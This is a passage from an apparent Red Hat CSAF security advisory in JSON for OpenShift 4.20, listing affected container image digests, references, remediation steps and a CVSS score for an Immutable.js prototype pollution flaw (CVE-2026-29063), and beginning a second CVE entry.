"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-29063"
},
{
"category": "external",
"summary": "RHBZ#2445291",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445291"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-29063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29063"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-29063",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29063"
},
{
"category": "external",
"summary": "https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3",
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"
},
{
"category": "external",
"summary": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8",
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"
},
{
"category": "external",
"summary": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5",
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"
},
{
"category": "external",
"summary": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw",
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"
}
],
"release_date": "2026-03-06T18:25:22.438000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "immutable-js: Immutable.js: Arbitrary code execution via Prototype Pollution"
},
{
"cve": "CVE-2026-33186",
"cwe": {
"id": "CWE-551",
"name": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization"
},
"discovery_date": "2026-03-20T23:02:27.802640+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
